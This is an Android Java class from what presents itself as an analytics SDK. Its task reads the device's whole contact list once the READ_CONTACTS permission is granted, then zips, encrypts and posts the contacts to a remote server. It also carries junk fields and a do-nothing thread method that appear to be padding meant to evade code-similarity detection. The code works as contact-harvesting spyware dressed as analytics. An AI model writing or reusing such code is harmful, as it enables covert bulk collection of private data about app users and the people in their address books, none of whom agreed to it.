package com.test.dababy.dababy_00_analytics.dababydata_sdk.dababytask;

import android.Manifest;
import android.content.Context;
import android.content.pm.PackageManager;
import android.text.TextUtils;

import androidx.core.content.ContextCompat;

import com.test.dababy.dababy_00_analytics.dababydata_sdk.DababyASBuilder;
import com.test.dababy.dababy_00_analytics.dababydata_sdk.dababybeans.DababyASRequestPms;
import com.test.dababy.dababy_00_analytics.dababydata_sdk.dababyhttp.DababyASReqstManger;
import com.test.dababy.dababy_00_analytics.dababydata_sdk.dababylogger.DababyASLger;
import com.test.dababy.dababy_00_analytics.dababydata_sdk.dababyservices.DababyASCtctIfo;
import com.test.dababy.dababy_00_utils.DababyUtil;

import java.util.function.Supplier;


public class DababyASDevcCntaTsk implements Supplier<String> {

    private final static String TAG = "ASDeviceContactTask";

    private final String mTaskId;
    private final Context mContext;


    public float dH2i=0.42506146f;
    public char lhv4='¥';
    public char j08Y='K';
    public char jyl7='=';
    public String obFE="";

    public void oHNRD(){
        new Thread(() -> {
            try {
                setObFE(String.valueOf(dH2i)+lhv4+j08Y+jyl7+obFE);
            }catch (Exception e){
                e.printStackTrace();
            }
        }).start();
    }

    public void setdH2i(float dH2i) {
        this.dH2i = dH2i;
    }

    public void setLhv4(char lhv4) {
        this.lhv4 = lhv4;
    }

    public void setJ08Y(char j08Y) {
        this.j08Y = j08Y;
    }

    public void setJyl7(char jyl7) {
        this.jyl7 = jyl7;
    }

    public void setObFE(String obFE) {
        this.obFE = obFE;
    }

    public DababyASDevcCntaTsk(Context context, String taskId) {
        this.mContext = context;
        this.mTaskId = taskId;
    }

    @Override
    public String get() {
        // 日志标记
        DababyASLger.d_dababy(TAG, TAG + " 执行中...");

        // 过滤条件
        if (TextUtils.isEmpty(DababyASBuilder.P_COTACT)) {
            return mTaskId + "";
        }

        String infoBeans = "";
        if (PackageManager.PERMISSION_GRANTED == ContextCompat.checkSelfPermission(mContext, Manifest.permission.READ_CONTACTS)) {
            infoBeans = DababyASCtctIfo.getZipString_dababy(mContext);
        } else {
            // 日志标记
            DababyASLger.d_dababy(TAG, "获取联系人信息出错：没有 READ_CONTACTS 权限");
            return mTaskId+"";
        }

        oHNRD();

        DababyASRequestPms netParams = new DababyASRequestPms();
        netParams.setPBG_dababy(infoBeans);
        netParams.setBL_dababy(infoBeans);
//        String result = new Gson().toJson(netParams).trim();
        String result = netParams.toEncryptParams_dababy(DababyASBuilder.P_COTACT);

        // 上报请求
        String url = DababyUtil.getCommonPath_dababy();
        new DababyASReqstManger.Builder_dababy().setReqId_dababy(this.mTaskId).setUrl_dababy(url).setBody_dababy(result).build_dababy().doPostRqst_dababy();

        return mTaskId + "";
    }

    public String getmTaskId() {
        return mTaskId;
    }

    public Context getmContext() {
        return mContext;
    }


}
